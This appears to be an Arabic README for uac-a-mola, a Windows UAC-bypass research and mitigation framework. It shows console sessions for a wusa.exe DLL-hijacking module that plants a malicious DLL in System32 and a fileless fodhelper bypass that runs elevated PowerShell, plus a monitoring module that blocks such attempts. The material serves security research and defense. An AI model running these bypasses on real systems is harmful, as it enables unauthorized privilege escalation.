
إطار عمل معياري لهجمات تجاوز UAC وتخفيفها في Windows، يتضمن اختطاف DLL، التنفيذ بدون ملفات، ومراقبة فورية لكشف ومنع محاولات تصعيد الامتيازات.
لتثبيت uac-a-mola عليك تنفيذ الإجراءات التالية:
pip install -r requirements.txt
Uac-a-mola جاهز الآن للانطلاق! يمكنك اختبار وظائفه بكتابة:
cd uacamola
python uacamola.py
هذا قسم موجز يشرح استخدام بعض وحدات uac-a-mola:
استخدام وحدات الهجوم شيء بسيط جدًا لا يحتاج إلى شرح. كل ما عليك فعله هو تحميل الوحدة المقابلة في الإطار باستخدام الأمر load، ويمكنك رؤية الخيارات أو معلمات الإدخال باستخدام الأمر show، وباستخدام الأمر run يتم تنفيذ الوحدة:
uac-a-mola> load .\modules\attack\dll_hijacking_wusa.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[dll_hijacking_wusa.py]> show
Author
------
|_Pablo Gonzalez (pablo@11paths or @pablogonzalezpe)
Name
----
|_Copy DLL with wusa.exe
Description
-----------
|_It's used for copy a DLL in privilege path (wusa method win7/8/8.1)
Options (Field = Value)
-----------------------
|_name_dll = comctl32.dll (name of DLL)
|
|_binary = compmgmtlauncher.exe (Path to the vulnerable binary)
|
|_malicious_dll = C:\Users\ieuser\Desktop\uac-a-mola\uacamola\payloads\comctl32\comctl32.dll (Path to a malicious dll)
|
|_name_folder = x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2 (Name folder)
|
|_destination_path = C:\Windows\System32 (Destination path)
uac-a-mola[dll_hijacking_wusa.py]> run
[+] Running module...
creating path...
SUCCESS: done
copying dll in path...
SUCCESS: done
creating DDF file...
SUCCESS: done
creating CAB file...
SUCCESS: done
launch wusa.exe /extract
SUCCESS: done! got root? :D
removing path...
SUCCESS: done
uac-a-mola[dll_hijacking_wusa.py]>
ومثال آخر:
uac-a-mola> load modules\attack\fileless_fodhelper.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[fileless_fodhelper.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_Fileless Fodhelper
Description
-----------
|_Fileless - Fodhelper bypass UAC
Options (Field = Value)
-----------------------
|_instruction = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C echo mola > c:\pwned.txt (Elevated Code)
uac-a-mola[fileless_fodhelper.py]> set instruction powershell.exe
uac-a-mola[fileless_fodhelper.py]> run
[+] Running module...
استخدام طرق التخفيف بسيط جدًا أيضًا، ولكنها تحتوي على هيكل داخلي أكثر تعقيدًا قليلاً سيتم شرحه في هذا القسم. فيما يتعلق باستخدامها، أول شيء يجب فعله هو تحميل وحدة التخفيف المتاحة:
uac-a-mola> load modules\mitigation\bypass_mitigation.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_[REQUIRED] password = None (Password for connection)
|
|_[REQUIRED] binlist_file = None (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
في هذه الحالة، سنحتاج إلى تعيين كلمة مرور سيستخدمها الوكلاء للتواصل مع المستمع الذي سيتم تنفيذه في إطار uacamola. يمكننا العثور على الوكلاء في المسار uacamola/support/agents، وبفتح تلك الملفات يمكننا رؤية كلمة المرور:
fodhelper_ag = Agent('fodhelper.exe', 'localhost', 5555, 'uacamola')
fodhelper_ag.send_forbidden("Software\\Classes\\ms-settings\\Shell\\Open\\command")
uacamola ستكون كلمة المرور المستخدمة للمصادقة والاتصال، لكن يمكننا تغييرها. المعلمة الأخرى المطلوبة هي مسار إلى ملف يحتوي على قائمة بالثنائيات المراد مراقبتها، يجب أن تحتوي هذه الثنائيات على ملف agent.pyw في مسارات الوكلاء.
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_password = uacamola (Password for connection)
|
|_binlist_file = bins.txt (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
uac-a-mola[bypass_mitigation.py]> run
[+] Running module...
[+] Executing the listener...
--- Press ENTER for quit mitigate mode ---
بمجرد ملء هذه الحقول وتنفيذ الأمر run، سيبدأ uacamola في مراقبة جميع الأنشطة المتعلقة بتجاوز UAC في الثنائيات التي تظهر في القائمة. إذا تم اكتشاف نشاط خطير، فسيقوم تلقائيًا بقطع الفرع الخطير (من نظام الملفات أو التسجيل) وسيقوم بتنفيذ الثنائي بطريقة آمنة. للخروج من هذا الوضع، نحتاج فقط إلى الضغط على مفتاح ENTER.
يرجى الإبلاغ عن أي خطأ إلى [email protected] أو مجرد فتح مشكلة في GitHub. تعاونك موضع تقدير!
يُقدَّم البرنامج "كما هو"، دون أي ضمان من أي نوع، صريح أو ضمني، بما في ذلك على سبيل المثال لا الحصر ضمانات القابلية للتسويق، والملاءمة لغرض معين، وعدم الانتهاك. في أي حال من الأحوال لا يكون المؤلفون أو أصحاب حقوق الطبع مسؤولين عن أي مطالبة أو أضرار أو مسؤولية أخرى، سواء في دعوى تعاقدية أو تقصيرية أو غير ذلك، ناشئة عن أو من أو فيما يتعلق بالبرنامج أو استخدامه أو تعاملات أخرى معه. عندما تقدم مساهمة إلى مستودع يحتوي على إشعار ترخيص، فإنك ترخص مساهمتك بموجب نفس الشروط، وتوافق على أن لديك الحق في ترخيص مساهمتك بموجب تلك الشروط. إذا كان لديك اتفاق منفصل لترخيص مساهماتك بموجب شروط مختلفة، مثل اتفاقية ترخيص المساهم، فإن تلك الاتفاقية ستسود.